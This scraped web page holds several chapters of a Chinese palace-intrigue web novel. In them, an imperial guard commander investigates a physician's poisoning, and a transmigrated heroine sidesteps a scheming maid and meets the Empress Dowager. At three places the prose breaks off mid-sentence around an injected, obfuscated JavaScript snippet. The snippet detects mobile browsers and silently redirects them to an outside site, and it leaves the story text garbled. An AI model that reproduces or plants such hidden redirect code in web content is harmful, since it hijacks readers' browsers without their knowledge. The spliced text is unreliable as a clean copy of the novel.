尽管周徵很不想承认,但这确实是他第一次对一名女子,尤其还是赵昶后宫里的女子,生出了一些不该有的念头。 那女人果然不简单,就像是对自己施了蛊一样。 周徵又气又恼,心里逐渐暴躁。他拖着疲惫紧绷的身体回到锦衣卫,路过北镇抚司外时,正好听见值守的燕二在同其他下属讨论京城醉仙楼里的花魁娘子芷清。 “燕大哥,听说昨晚芷清姑娘又出来登台跳舞了,你赶紧给大伙说说,怎么样啊?” 燕二在里面一边喝酒,一边用说评书的口吻说:“你们是不知道,昨晚醉仙楼一个位置都千金难求,全是去看芷清姑娘的。” “那燕大哥,这芷清姑娘美吗?” “废话,纵观全京城还有谁比这芷清姑娘美的。”燕二用醉醺醺的声音说,“用那群读书人的词儿来形容,那叫什么来着,什么北国有佳人,一回头看就倒了城……哎呀,总之,芷清姑娘那腰肢,那身段,啧啧,又轻又软。” “嘶,什么时候咱哥几个也能去饱饱眼福……” “下次,下次一定带你们几个去见识见识什么叫美人。” “好好好,燕哥大气,来来来,燕哥喝酒!喝酒!” “只是不知道将来这芷清姑娘的初夜会被哪位贵人给拍下……想想就羡慕,芷清姑娘的皮肤又白又滑……好想摸一把。” 他们哥儿几个在屋里喝着酒讨论得热火朝天,而门外的周徵听着他们猥琐的笑声和露骨的描述,刚刚才抛却至脑后的画面再次浮上眼帘,甚至更加香艳了。 周徵再也听不下去,撒气似地一脚往门上踹去。 不知是周徵力气太大,还是那门年久失修,只听“咚”的一声巨响,木门应声而倒,门内聚在一起喝酒的几人目瞪口呆。燕二手中酒杯一歪,大半杯酒直接洒在了身旁同僚的衣服上。 燕二睁目结舌道:“侯侯侯侯爷、你你你你怎么来了?” “我怎么不能来了?!”周徵简直气不打一处来,厉声吼道,“你们几个,聚众喝酒,明早按规矩每人滚去领二十军棍!燕二带头嫖妓,再加二十!” 燕二听后不服道:“侯爷,冤枉啊!属下只是去欣赏芷清姑娘跳舞的,哪里嫖妓了?”说完他还嘟囔着补了一句:“你以前又不是没去看过。” 没想到这句话正中周徵的枪口,周徵当场走过去抓起他,道:“不服?那就按这里的规矩来,用拳头说话!”说着他撩起袖口,一副准备格斗的架势。 按照本朝军中的规矩,下属如有对上司提出的惩罚或意见不服者,均可通过武斗进行比试,以胜出者的意见为准。但周徵的功夫别说锦衣卫内部,就是在京中四大营里,他如若排第二,也没有人敢排第一。 燕二哪里能是他的对手,当即认罚道:“我打不过你,不就是四十军棍吗,又不是没挨过,我领罚便是。” 周徵这才作罢,命众人收拾屋子,并再次叮嘱值班时不可饮酒后,才把那倒下的木门勉强扶正,转身离去。 他刚刚一走,几名下属就凑在一起七嘴八舌地议论起来。 “诶,我说啊,侯爷今日是怎么了,之前也被他撞见过饮酒,但他连问都没问,怎么今儿个跟吃错了炸药包似的。” “就是啊,平时不准我们嫖妓就算了,咱们都是血气方刚的大男人,连说都说不得吗?” “侯爷如今房里也没个人儿,他自个爱当和尚,对女人没兴趣,就不准我们说。” 燕二听后摇了摇头表示:“哎,你们呀,还是不太懂侯爷。” “燕哥,怎么说?你平时跟着侯爷,你肯定最了解他。” “就是就是。” 燕二神神秘秘地说:“依我看,侯爷并不是对女人完全没兴趣,估计是在哪个女人那里碰了壁,听咱们刚才谈论起芷清姑娘,心里不舒服呢。你们想想,芷清姑娘多么温柔似水啊,而且又是京城第一美人……” “燕二!” 周徵的声音突然再次响起,他刚才一直未曾走远,便听到了几命下属背后的嘀咕。这次他没有踹门,而是直接抽出绣春刀把那木门劈成了两半。 众人吓得嘴唇发白,连大气都不敢出。燕二哆嗦着身子,应道:“是是是,属、属下在。” 周徵阴沉着脸,不怒反笑道:“背后嚼人舌根,你带头,和他们一起在门口给我倒立!到明日辰时才能下来!” “是是是。” 众人再也不敢惹他,只能乖乖地走到门口,选好位置,靠着墙根,挨个倒立起来。 周徵边走边检查,目光从每一个人身上扫过,走到燕二身边时,他蹲了下来,凑到他的耳边。 “什么京城第一美人……”周徵用只有他们俩能听到的声音说:“燕二,那是你自己封的吧。不是我说你,你的眼光也太差劲了。” 说完他便出了院子,只留下一头雾水的下属们和一个形单影只的背影。 但燕二的无心之言却着实说到了周徵的心坎上,他格外烦躁,没有立刻回侯府,而是转道去了太医院。 今夜云昭昭的话令他有了颇多疑虑,按理说赵昶、太后还有宫里其他人都曾见过那云小姐,云琛应该很难从民间搜罗来这样一名长相相似的女子,而且就算找到了,看云昭昭的性子,应该也不是能随意任人摆布的。 究竟是哪里出了问题?难不成那个王良是冒着死在说谎?又是谁让他说的? 他越想越觉心烦,忽地又反应过来,自己仍是满脑子那女人,便屏住呼吸,凝神定气,将那些不该想的杂念统统驱逐出去。 太医院今夜又轮到了郭院判当值,周徵准备再去问问他那夜入云府为云小姐诊脉的细节,看看是否有什么地方出了差错。可他到了太医院却并未看见郭院判的身影,一打听才知道郭院判今日生病告了假。 他只得打道回府,草草睡下。 可天公似乎都在与他作对,后半夜忽降骤雨,雨声稀稀疏疏,如切切絮语,令他总是忍不住联想到一些不堪的事情和画面,他辗转反侧,竟是一夜未眠。 第二天一大早,周徵便顶着乌青的眼睑,赶着去了昨夜打听到的郭院判的住所。 郭院判的宅子不算大,三进三出,带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108288|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个小小的园子,像是临时租的。想来是因为他之前一直是江湖郎中,几年前得了云琛的帮扶才进入的太医院,还来不及置办宅邸。 此外,郭院判尚未娶妻,只有一房小妾,曾经是醉仙楼里的姑娘,被他赎了身出来的。 那小妾看见周徵,觉得他俊俏,便朝他抛了个媚眼。 “武安侯找我家老爷有何贵干?” 周徵烦躁不堪,只冷冷道:“有事问他,还请夫人带路。” “我家老爷现在没空,奴家名唤红珠,要不让奴家陪陪武安侯。”那妾边说边上前用团扇轻轻拍了一下周徵的胳膊。 周徵吓得条件反射般地连退三步,并狠狠地剜了红珠一眼,握紧了腰间绣春刀的刀柄。 “你,你别过来,既然郭大人没空,那我自己去找他便是!” 他那模样仿佛受了惊的猫儿,红珠顿觉有趣,掩口道:“好了,不逗您便是。” 她说着恢复了严肃,同周徵说:“我家老爷昨日身子不适,吃过午饭后,未时便进了书房,到现在也没出来。” “这么久?”周徵有些惊讶,“可别是出了什么事。” 红珠倒是习以为常:“他一向如此,为了研究什么药方子,总是一头扎进去,把自己关在书房里,谁都不能进去打扰他,只把吃的给他放到门口。以前最长的一次啊,他一个人在书房呆了半个月呢!” 她说着带着周徵走到后院,用扇子指了一下园子尽头那间孤零零的竹屋,“诺,那间便是。” 周徵心情更加复杂了。 他之前便听闻郭院判医术超神,如今来这里才更加确信。这样一位对医术着迷至此的医者,在生死这样的大事上是很难看走眼的。 所以那个女人……或许当时真的是救不回来了,但不知道什么原因,她最终没死成。 既然来都来了,周徵还是要去见见郭院判,再详细听他讲讲当时的情况,或许能有些线索。 然而,当他走近那间竹屋时,便觉得有些不对。他抿着唇,叩了几下门,发现无论如何里面都没人答应。 看见周徵的表情,红珠也慌了,脸色有些差,在一旁自言自语道:“会不会是老爷在屋里睡着了?这可怎么办,会着凉的啊!” 周徵没有答话,只是沉默地抽出绣春刀,直接破门而入。 屋内,郭院判趴在桌案上,毛笔胡乱地掉在地上,秋夜寒凉,又下了半夜雨,还降了温,到这时砚中的墨已经凝固了,上边结着一层白霜。 “老爷!”红珠连忙扑了上去,大喊道,“老爷!您这是怎么了,醒醒,醒醒啊!” 周徵趁机上前轻轻地用手试探口鼻,郭院判已经没了气息,而且连身体都已经发冷硬了,显然已经死去多时。 “夫人节哀。”他说道。 红珠不理他,只固执地拍着郭院判的背,固执地想要拍醒他,最后声音都哑了,整个人伏在他的肩膀上,眼里流下两行清泪。 “建泽……建泽,你醒醒啊,奴家还等着你当上了太医令娶我过门呢……建泽……” 周徵沉默地站在一旁,心里有些不是滋味。突然间,在红珠晃动郭院判身体时,他注意到了郭院判手里握着一个什么东西。 他连忙掰开他的手一看,是一个琥珀做的小药瓶,里面装着无色无味的透明液体,已经少了半瓶,明显是被郭院判喝了下去。 周徵的脸色瞬间大变。 这个东西,他再熟悉不过,甚至可以说,这世上没有人比他更熟悉。 它名叫见雪尘,是来自西域的一种奇毒,只有锦衣卫的诏狱里用来处刑犯人才会用到。 换句话说,这个东西会出现在这里,就一定是被人从诏狱里偷出来的。 这也是为什么,他会相信锦衣卫内部出了奸细,因为在一次巡查中,他偶然发现诏狱里的见雪尘少了几瓶。 之前他一直以为,锦衣卫里的奸细是与云琛勾结,所以他才会在夜里严密监视着云府的一举一动。 但现在看来,他可能错了,因为郭院判虽不涉党争,但依然是云琛那边比较信任的人,云琛怎么会让人毒死他呢。 或许,串通锦衣卫内部的,另有一方势力。 只是它潜藏在陛下与云氏之争的背后,如同一个在黑暗中窥视、伺机待发的鬼魅,就连自己也想不到它究竟有什么目的。 13. 逐月 云昭昭在永麟殿内睡了一夜,早晨服侍的宫女进来,她见到了两个熟悉的身影。 “流霜!汀雪!” 云昭昭惊喜不已,经历了昨天精神和身体上的双重疲劳,现在看见两个丫头,她是由衷的高兴。 经过这些时日的相处,她已俨然把她们当成了自己人。 流霜精明能干,性格直爽,和她很是投缘,又比她小不了多少,便成了她来到这个世界后第一个能说得上话的人。 虽然在外人眼里她们主仆有别,但在云昭昭心里已经把她当成了她的伙伴,而且她私下寻思着,等流霜再在宫里陪自己一两年,就为她寻个好的夫家、好的归宿,让她风风光光地出嫁。 她甚至能想象将来跟流霜提及这件事的时候,流霜一定会既不好意思,又愠怒地说自己想陪在小姐身边一辈子,那样她就能找到机会好好逗趣她一下。 与流霜的开朗不同,汀雪的性子则要沉静许多。她比流霜还要小两岁,据说她是云昭昭原身很小的时候,母女俩外出在街边遇见的一个小乞丐,柳氏可怜她,又看她和自己女儿差不多大,便收留在了府里。 比起流霜这种从外面买来的丫鬟,汀雪则算得上半个家生子,她虽然年纪小,不善言辞,性格又有些羞怯,但云昭昭看得出来,她很懂分寸,甚至比流霜还聪明许多,还有着与年龄不相符的稳重与成熟。如果自己有这样一个妹妹,她倒并不会讨厌…… 这两个丫头一静一动,性格互补,又一心为她考虑,有她们陪在身边,云昭昭觉得很踏实,甚至未来在宫里要应对的挑战也不那么令她害怕了。 流霜一大早见了云昭昭也很是激动,她甚至有点感伤,声称小姐的“出嫁”让她有种恍如隔世的感觉,明明才隔了一天而已。 云昭昭则趁机调侃了她几句,说她肯定是自己想出嫁了,还问她喜欢什么类型的男子,她如今是贵妃了,理应帮她全京城张榜物色。 流霜从未被这么直白大胆地询问,果然如云昭昭所料一张俏脸涨得通红,甚至还鼓着腮帮,一副恼羞成怒,受了调戏的样子,这令云昭昭心情大好,忍不住又逗了她几下。 二人正嬉戏逗笑着,汀雪站在一旁,出声提醒道:“小姐……啊不,贵妃娘娘,该梳妆了,今日您还要去面见太后,若是迟了就不好了。” 云昭昭这才收敛,她看汀雪今日穿了一身浅桃红色的宫装,既大方又娇俏,便忍不住捏了一下她的脸,嗔怪道:“你这丫头,怎么才一天不见就和我生分了,穿得这么俏,说话却老气横秋的!咱们说好了啊,虽然现在进了宫,但以前是什么样,现在便还是什么样!” 汀雪连忙躲闪,小心翼翼地说:“可是小姐,宫里面规矩多,要是让人家听见了,又要编排咱们的不是……” “怕什么,”云昭昭让流霜和汀雪为自己梳头,满不在乎道,“只要有我在,不会让任何人欺负你们两个!” “小姐……” 汀雪欲言又止,沉默地将一支红珊瑚修翅玉鸾步摇插到了云昭昭的发髻上。 云昭昭察觉不对,便问:“怎么了,难道真有人一进宫就给你们俩难堪了?” 流霜接过话替她答道:“倒没有人敢为难我们俩。只是奴婢和汀雪听说了昨晚的事,有些替小姐担心。” 一听到昨晚二字,云昭昭立马警觉,但仍面不改色道:“昨晚怎么了?” 流霜说:“小姐,奴婢们一大早就听说,昨晚陛下没有来永麟殿同小姐行合卺礼,而是……而是去了易答应那里。现在整个宫里已经有人开始传陛下并不待见小姐,如此大费周章的迎小姐入宫,只是为了做给老爷看的。” 云昭昭立马松了口气,看来昨晚周徵的突然到访,以及永麟殿里的那一点小插曲并没有其他人注意。 她心情不错,笑着又挑了两只宫花绾在发髻上,甚至连早上御膳房端来的甜得齁人的糖蒸酥酪也多吃了好几口。 但在流霜和汀雪看来,云昭昭的表现和笑容都甚是诡异,她们想起来曾经有一回小姐生气到极点就是这种反应,两人互相看了一眼,都有些害怕。 流霜以为她在为昨晚被赵昶冷落而生气,连忙劝道:“小姐,这宫里面嚼舌根的人多,他们说的话你可千万别在意,既然进了宫,以后的日子还长,陛下迟早会把小姐放在心上的。” 结果云昭昭却说:“我还担心他把我放在心上呢,这样挺好的。” 流霜一听,脸色一阵青一阵白的,她心想,完了完了,小姐已经生气到这种程度了。 正好这时,外间传来一名宫女的声音。 “贵妃娘娘,奴婢来迟了!” 不片刻,这声音的主人便出现在了云昭昭的面前,她一身女官的衣服,乌黑的头发妥帖地盘成髻,头插金雀簪,腕间戴着两只大大的金镯子,整个人透着股精明干练的劲儿。 见到云昭昭,她的眼睛立马挤成了两道月牙。 “参见贵妃娘娘,奴婢名唤逐月,是昭阳殿的女官,以后就由奴婢来替您打点宫里的一切,您尽管吩咐便是。” 这逐月格外热情,既是嘘寒问暖地询问云昭昭在宫里是否适应,又是打听她早膳吃了什么、是否合胃口,甚至还主动向她介绍今日诣拜太后和敬茶时的注意事项。 她如此妥协周全,又精明能干,似乎任何麻烦的琐碎事都难不倒她,这宫里大到养心殿的御前太监,小到浣衣局的宫女,好像没有谁是她不认识的。 流霜听了后越发自惭形愧,忍不住在一旁感叹,“什么时候奴婢能像逐月姑姑这样厉害就好了。” 逐月则客气道:“霜姑娘还年轻,这才刚进宫呢,急什么,这三宫六院,六局一司的门道多着呢,有空我再慢慢教予你。” 流霜受宠若惊道:“谢谢姑姑!” 她说罢便感激地想要行礼,却被云昭昭叫住。 “流霜。” 叫住她后,云昭昭却吩咐逐月道:“逐月,时候不早了,我得去觐见太后了,你先回昭阳殿吧。” “啊?”逐月一下子蒙了。 她本计划着今日陪云昭昭去太后处,好好表现一番,好得这位新任贵妃娘娘的青眼,没想到她却打发自己回去,这让她一时难以置信,也难以接受。 “娘娘,您难道打算自己去?”逐月问道。 云昭昭说:“当然是让流霜和汀雪陪我去了,你还有更重要的事要去办。” 逐月这才心里好受些,但她仍不放弃,甚至跪下说:“娘娘,这两个丫头刚进宫,人生地不熟的,觐见太后这等大事还是让奴婢陪您一起去吧。” 云昭昭说:“不必了。刚才你没来的时候,流霜还一直跟我夸你呢,说羡慕你。你这样做事稳妥又有人缘的人,我是最放心的。昨日我来的时候听闻司设监的李公公说昭阳殿还未收拾妥当,先回去帮我盯着那帮司设监的公公们,别出了什么差池,少了什么东西。” 她这番话听上去滴水不漏,但逐月还是感觉很不舒服,就好像自己精心栽种的果实一下子被别人抢了去。 她很不甘心,于是想了想,又提起了另一件事。 “贵妃娘娘,奴婢前来,还有一事相告。” 逐月理直气壮道,她心想这件事你不可能不依靠我的帮助吧。 “什么事?” 逐月说:“也许流霜和汀雪刚才已经同您说过了,陛下昨夜宿在了易答应的宫里,今早就封她为易常在了,还赏了她不少好东西。” “那又如何?”云昭昭笑着反问。 逐月干笑两声,说:“娘娘有所不知,这易氏乃两年前陛下登基后那次大选入宫的,其父只是个都察院的佥都御史,再加上易氏是庶出,在一众新秀里也并不突出,便只封了个答应,这两年在宫里就跟个空气人似的。娘娘请细想,这易氏怎么会这么巧,偏巧赶在娘娘和陛下行合卺礼的时候,就得了陛下的宠幸呢……” 逐月之前多方打听过这位云贵妃的性子,知她是个眼睛里揉不得沙子的角色,便又添油加醋地说了不少易常在的不是,颇有点替云昭昭抱不平,与她同仇敌忾的架势。 结果云昭昭却说:“这有什么想不出来的,陛下讨厌我,喜欢易常在呗。” 听她这么说,逐月十分惊诧,她本来准备了一大堆拉踩易氏的坏话,想要激一下云昭昭,自己再趁机好好表现一番,以后她在昭阳殿的地位就固若金汤了。 因为她知道,这宫里的娘娘没有谁是不想跟人斗的,她过去就是靠着这番给主子出主意的本事,一步步走到今天的,区区一个易常在,是她觉得最好对付的。 但她没想到的是,她自己选的这位主子和想象中的并不一样,不仅毫无斗志不买她的帐,甚至还有点愚蠢。 逐月不甘心地说:“娘娘,奴婢是想说,这件事可以看出这易氏绝非什么良善任人宰割之辈,咱们一定要早做打算。娘娘昨夜的遭遇现在已经在宫里面传开了,尚仪局、司设监那群踩高捧低的玩意儿,今早一听到风声就去巴结这位新主了,就连尚仪局的崔姑姑,司设监的李公公现在都巴巴地跑到翠微宫去了。” 她心想这样你总不能忍吧,不然你们云家的脸往哪儿搁。 结果云昭昭听完后点评道:“这样挺好的,由他们去吧。” 逐月被她这副淡淡的样子急得直跺脚,“可是娘娘……” “你的好意我心领了。”云昭昭摆了摆手,“我刚进宫,身边除了流霜和汀雪两个丫头外得力的人不多。我昭阳殿地儿小,容不下太多人,也不需要那么多的趋炎附势之徒,我想正好借着这事儿,让我的昭阳殿内清净清净,你先回去罢。” 她说了这番话后,便命人摆架慈宁宫,留下逐月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108289|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个人孤零零的身影,映在永麟殿的金砖上。 流霜有些不解,在去往慈宁宫的路上,她忍不住说:“小姐,刚才逐月姑姑也是一番好意啊,她是宫里老人,又这么为小姐着想,就这样就把她一个人撇在那里不太好吧。” 云昭昭反问:“你也认同她说的是不?” “倒不完全,只是逐月姑姑说的有理,那易常在确实需要多留意……”流霜说。 说完她又有些不服气地喃喃道:“小姐,你不知道,这些趋炎附势到了何种地步!昨晚我和汀雪到了昭阳殿,司设监那群太监那叫一个巴结,又是给我俩端茶,又是递糕点的,好不热情。可今早一听说昨夜陛下未同小姐行合卺礼,而是临幸了易常在,那群人就开始玩忽职守了,变脸可快得跟变戏法似的。” 云昭昭微微一笑,见汀雪一直低头不吭声,一副若有所思的样子,便问她:“汀雪,你呢,你怎么看?” 汀雪被点名后一惊,过了半晌才答道:“奴婢、奴婢觉得……小姐做得对。” “你说说看。”云昭昭鼓励道。 汀雪只好磕磕绊绊地开口:“虽然易……易常在可能处心积虑,但如果,如果不是陛下,昨夜未宿在永麟殿内……那小姐今早也不会如此难堪。” “汀雪分析得对,冤有头债有主,这种事还不至于怪在易常在头上。”云昭昭说,“而且那逐月不是很有本事吗,我正好让她回去对付那群玩忽职守的太监宫女,换成你们两个还搞不定。” 流霜瞬间恍然大悟,由衷地赞叹道:“是啊!还是小姐聪明,考虑问题周全!” 云昭昭见她一脸钦佩的表情,颇有些无奈。 其实,她也只是因为看过原著,才会做出这样的考量的。 逐月为人精明能干,语气亲切热络,甚至言行间充满了对自己的讨好,若不是她知道原书的剧情,那绝对会被逐月这副八面玲珑,百依百顺的模样给骗了。 作为书里昭阳殿里的女官,逐月可是原身绝对的左膀右臂。可以这么说,书里云贵妃做了那么多糟粕事儿,其本来目的只是为了争宠,获得赵昶的爱,但在逐月的策划和煽动下就变成了对其他嫔妃的打压和迫害,让原身沦为臭名昭著、恶名远播的恶毒女配。 这颇有点容嬷嬷的影子,但逐月又没有容嬷嬷对皇后的忠心,她是为了攀附云家的地位和权势,才施计挤掉其他女官,主动来服侍云贵妃的。而在云家失势后,她为了自己活命,又落井下石,将云贵妃过往作恶的种种证据,“卖”给了书里的周徵。 更重要的是,在原书的剧情里,云贵妃在入宫第一晚受到冷遇后,第二日便带着逐月去觐见了太后。在太后那里,逐月把原书女主易琉璃以及尚仪局、司设监的宫人们全都添油加醋地控诉了一遍,引得太后不满,当即传召易琉璃,对她进行了一番规训敲打。 而逐月却以为这便是得了太后的首肯,在离开慈宁宫后,她为了讨好同行的云贵妃,便堵住了易琉璃和她的宫女,教唆云贵妃当场杀鸡儆猴,以顶撞高位妃嫔为由当场命人打死了那名宫女,把易琉璃吓得夜里犯起心悸。 后来赵昶深夜驾临易琉璃的翠微宫,正好遇上易琉璃梦魇心悸,想起了小时候在家被主母和嫡姐教训,以及被兄长欺负的事。赵昶听过之后便对易琉璃大为怜惜,第二日便又赏了她不少奇珍异宝。原身云贵妃则被禁足了十日,并罚抄佛经十遍。 对此,云昭昭庆幸不已。 幸亏她还记得原著的剧情,否则,即便自己无心争宠,但若将逐月这种人留在身边并重用,恐怕最终连自己是如何死的都不知道。 而且相比原身,她现在的处境其实更为不利。 因为原身只是自己作死,到了她这儿,还多了周徵这么个隐形的炸弹。 周徵既然能怀疑上她不是真的云贵妃,必然不可能仅仅因为她昨天晚上的几句话就善罢甘休,肯定还会反复来试探。 她现在能做的,便是利用原著的剧情,避免掉所有原身在书里作死的剧情点,尽量不去掺和赵昶后宫里那些莺莺燕燕之间的争斗,以退为进,走一步算一步,再想办法活下去,再想办法让云家得以最大程度的保全。 天空中响起几声闷雷,如同巨兽的低吼。 云昭昭一边想一边看着头顶,阴云密布的天空被两道猩红的宫墙分割,似乎很快要下雨,不远处,慈宁宫渐渐露出一角,靡靡梵音缭绕,像是一位庄严肃穆的守卫。 她忽然想起入宫前宫里面派的那位姓苏的教引嬷嬷,好像就是太后跟前的人。 太后既然愿意将自己身边人派到云府,而不是随便指派一名尚仪局的女官,那就说明,她有心与自己示好,甚至还等着自己入宫后的投靠。 或许,为了对付周徵,为了云家不倒,为了能好好地活下去,她可以寻找这样一个倚仗。 14. 太后 慈宁宫内。 同样是金砖铺地,满墙的花鸟虫鱼、祥麟瑞凤等吉祥纹样,但相比永麟殿的辉煌大气,慈宁宫则要古朴得多。因为太后信佛,不喜张扬,不主张过分奢靡,所以一切布置从简。 只不过太后对于佛倒是极其重视,慈宁宫的后殿内陈列着不少佛龛,里面供奉着大小各异的纯金佛像,正中挂了一副罕见的巨型唐卡,足足有两个人高,上面繁复的图案在袅袅檀香下,显得神秘肃穆。 太后端坐于那副巨型唐卡之下的禅榻之上,着一身深栗底绣祥云纹常服,发间仅插了几支朴素的点翠发饰,耳环也是素金的,除此之外身上便再无其他金银的钗环首饰,整个人看起来十分素静。唯有颈间的那串深绿的翡翠珠串,颗颗圆润饱满,色浓碧透,莹润清亮,彰显着她后宫之主的身份。 太后曾是先帝的贤妃,出身于翰林世家,先帝在世时一直未有所出,后来昭文皇后去世后,先帝看中她知书达理、贤惠端庄,便将太子赵昶交由她抚养,先帝去世后,她便母凭子贵,入主慈宁宫,成为太后。 她保养得当,鬓发乌青,看起来比云昭昭的母亲柳氏还要年轻不少,而且眉眼温婉娟秀,能看出年轻时也是个端庄沉静的美人,但她偏偏打扮得同那上了年纪的妇人一样,带着淡淡的老人味儿,看上去既慈祥又云淡风轻,与原书里的描述差不多。 仿佛一块尽力燃烧过的檀香,留下一截焦黑的碳块和一堆雪白的细灰。 依照本朝规矩,云昭昭先是向太后行了四拜大礼,之后接过宫人们准备好的茶具将那金骏眉沏出亮红的茶汤,然后又捧着茶盅,跪着向太后敬茶。 太后对她似乎比较满意,她接过茶盅抿了一小口,和蔼地点点头:“起来吧。” 她身边站着三位侍奉的女官,其中一位,便是云昭昭入宫前的教引嬷嬷,苏月容苏嬷嬷。 她笑容满面,对云昭昭夸赞道:“太后娘娘,奴婢一早就跟您说了吧,这丫头现在行事端庄稳妥,与那些传言里的大不相同。” 太后点头,赞许道:“嗯,看上去是比以前长进了不少,性子也收敛了。” 云昭昭知道她说的是原身,便道:“太后过奖了,过去臣妾年纪小,不懂事。如今能进宫后能不出岔子,在太后跟前尽孝,也是苏姑姑教得好。” 苏嬷嬷笑容可掬,连忙说:“哪里,贵妃娘娘太过自谦了,都是您聪明,学东西一点就透,奴婢不过教授了一点儿皮毛,是您融会贯通,学以致用。” 云昭昭被她夸得有些尴尬,她担心太后对苏嬷嬷口中明显夸张的溢美之词有所微词,毕竟她看起来就是个极清极淡的性子,而且原书里也说过她平时不问世事,甚少过问前朝和后宫事务,只在关键的时候或关键的事上做主,因此也是书里能说得上话的人之一。 不过太后却并没有说什么,反而是考教了一下云昭昭的学问,问的内容也大致不超过诗词歌赋、四书五经的范畴。 好在云昭昭大学的时候被学校逼着,要求每个学生都要必修《国学修养》这门课程,所以太后的提问她多多少少也能答得上来一些,不至于是个睁眼瞎。 “不错,也算是知书识礼。”结束提问后,太后点评道:“世家女子能学到你这种程度已算是很好的。” 云昭昭听后讪讪地笑着。 啊,这就算很好吗? 她原本以为古代世家的这些女子就算不是李清照、谢道韫之流的才女,至少也应该像红楼梦里迎春探春惜春这样,诗词文章信手拈来的才对。原来言情小说和古偶剧里都是骗人的! 太后自然是不知她这一系列心理活动,她饮了口茶,关切问道: “昭昭,这入了宫,可还住得惯么?你那昭阳殿是哀家同皇帝说过后,专门拨予你的,只是里面久未住人,难免有些集尘,听说司设监几日前便让人开始连夜布置,不知现在收拾妥当没有?” 苏嬷嬷这时在一旁插嘴提醒道:“贵妃娘娘,这昭阳殿可是太后娘娘曾经的寝殿呢。” 云昭昭一听,顿时受宠若惊,她赶紧跪下谢恩。 “谢太后娘娘隆恩!回娘娘,臣妾昨日入宫后感觉一切都好,与家里并没有什么区别。只是今早从永麟殿内醒来,梳洗收拾妥当后便来同您奉茶,还并未得空回昭阳殿,不过,臣妾已派了逐月回去盯着,想来不会出什么差池。” 她这番话说的滴水不漏。昨夜赵昶临幸易琉璃的事想必太后一早就知道了,刚才她那么说便也是回了太后,自己对昨晚的事并不在意。 果然,太后对她这番回答很是满意,还点头同苏姑姑说:“逐月那丫头是个妥帖的人,嘴也甜,怪不得今日她没同你一起来。” 接着她便注意到了陪同云昭昭一起前来的流霜和汀雪。 云昭昭便趁机介绍道:“这是臣妾从娘家带进宫的两个陪嫁丫头,与臣妾情同手足,也是陪同臣妾从小一起长大的,高一点的那个叫做流霜,矮一点的那个叫做汀雪。” 流霜汀雪闻言一同跪拜道:“奴婢参见太后娘娘。” “平身。”太后点点头说,“我看这两个丫头也不错,是守规矩的,样貌也招人喜欢。” 她说着吩咐身边的女官,赏了流霜与汀雪一人一只金丝绣线的小香囊,做工精巧,煞是可爱。流霜得的是只桃红色的,汀雪的则是柳绿色的,两个丫头得了赏都受宠若惊,汀雪甚至一改平时沉静的样子,接过赏赐时,激动得手都在发抖。 太后还不忘叮嘱苏嬷嬷:“月容,这两个丫头刚进宫,对宫里的事情还不太熟,平时有空多照应着她们一些。” 苏嬷嬷笑着答应道:“那是自然的。” 打赏了流霜汀雪后,终于轮到云昭昭接受赏赐了。 但太后并没有赏她那些看上去与众不同的舶来品或奇珍异宝,也没有赏她那些璀璨夺目的珠宝首饰。 只见她从一个上了锁的沉香木盒中,取出了一支纯金的发簪。 云昭昭看到它的正面,差点当场惊呼了出来。 因为那只发簪上并无任何镶嵌和点缀,顶端是一朵盛开的玫瑰,无数光影闪耀在重重叠叠的繁复花瓣中,显得流光溢彩。 这与云昭昭企图逃跑那夜当掉的那支几乎是一模一样。 见云昭昭惊讶地张着嘴,太后颇觉有趣,她珍而重之地将那支簪子拿在手上反复观摩,像是看着最心爱的珍宝。 “这是内府银作局的张德龙大师的作品,这上面的所有花瓣,都是用一整根金丝编成的,”太后介绍道,神情里充满了怀念,仿佛在透过这只簪子看向过去别的什么东西。 “只可惜,这样繁复精巧的工艺在张大师去世后便彻底失传了。” 云昭昭:“……” 太后说罢,小心翼翼地将那支簪子放回盒里,命女官连盒带簪地一起呈到了云昭昭面前。 云昭昭盯着那支簪子看了又看,无论怎么看,都一模一样。 如果这不是太后赏的,她一定不会怀疑,面前这支簪子跟那天夜里她当掉的那支是同一支。 “你可知哀家为什么要将这支簪子赠与你?”太后突然这么问。 云昭昭只好老实道:“臣妾不知。” “因为今日哀家一见到你,便想起了哀家的一位故人。”太后如是说。 她的声音透过淡淡的烟雾,带着无限的缅怀。 “这支出自张大师之手的玫瑰簪子便是哀家那位故人赠予哀家的,它原本有一对,但另一支被那位故人送给了她另一位朋友……如今啊……斯人已逝,这簪子哀家留着也再没什么用,你与哀家有缘,哀家便将它赏给你了。” 她的语气似乎透着淡淡的哀伤,云昭昭听后,怔怔地拿着那支簪子,随口问了一句:“敢问太后娘娘的那位故人是谁?” 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108290|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 